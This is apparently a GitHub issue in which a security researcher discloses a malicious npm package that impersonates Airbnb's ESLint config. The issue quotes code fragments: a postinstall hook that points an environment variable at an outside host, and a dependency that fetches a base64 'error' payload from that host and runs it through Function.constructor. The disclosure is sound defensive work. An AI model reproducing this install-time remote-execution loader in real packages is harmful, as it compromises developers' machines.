8000 Possible Malicious npm Package eslint-config-airbnb-compat Attempting Dependency Confusion · Issue #3124 · airbnb/javascript · GitHub
[go: up one dir, main page]

Skip to content
Possible Malicious npm Package eslint-config-airbnb-compat Attempting Dependency Confusion #3124
@abhisek

Description

@abhisek

Our malicious open source code scanning infrastructure behind vet discovered an interesting npm package eslint-config-airbnb-compat which appears to be malicious. This package appears to impersonate source origin as github.com/airbnb/javascript possibly with the goal of starjacking and spoofing its origin to automated security tools.

Malicious Code

eslint-config-airbnb-compat contains a post install script to execute setup.js

"postinstall": "node ./setup",

However, to avoid identification, the setup.js does not have any malicious code. It simply does the following:

Copy the embedded .env.example to .env

if (!fs.existsSync(".env")) {
  fs.copyFileSync(".env.example", ".env");
  process.env.APP_PATH=process.cwd();
}

The .env file contains the following

APP_ENV=local
APP_PROXY=https://proxy.eslint-proxy.site
APP_LOCAL=
ESLINT_DEBUG=true
FORCE_COLOR=1

Execute npm install if node_modules directory is not present

if (!fs.existsSync("node_modules")) {
  run('npm install');
}

This may not appear as malicious but one of the transitive dependencies introduced by this package is ts-runtime-compat-check. This package in turn have a post install script:

"postinstall": "node lib/install.js",

The lib/install.js contains interesting code:

const appPath = process.env.APP_PATH || 'http://localhost';
    const proxy = process.env.APP_PROXY || 'http://localhost';

    const response = await fetch(
      `${proxy}/api/v1/hb89/data?appPath=${appPath}`
    );

When introduced through eslint-config-airbnb-compat, it will have proxy=https://proxy.eslint-proxy.site in the fetch(..) call above. The above fetch call is expected to fail to trigger errorHandler function with remote server provided error message

    if (!response.ok) {
      const apiError = await response.json();
      throw new Error(apiError.error);
    }
    await response.json();
  } catch (err) {
    errorHandler(err.message);
  }

So the remote server at https://proxy.eslint-proxy.site can return a JSON message such as {"error": "<JS Payload>"} which in turn will be passed to errorHandler as an Error object.

The error handler in turn does the following:

  • Decode the message as base64 string
const decoded = Buffer.from(error, "base64").toString("utf-8");
  • Constructs a function from the decoded string
const handler = new Function.constructor("require", errCode);
  • Finally executes the remote code
  const handlerFunc = createHandler(decoded);
    if (handlerFunc) {
      handlerFunc(require);
    } else {
      console.error("Handler function is not available.");
    }

This pretty much confirm the malicious behaviour of the entire attack chain. We are in process of identifying the impact of this attack. Disclosing here because we feel its related to, if not targeting AirBnb packages and downstream users of these packages.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions

      0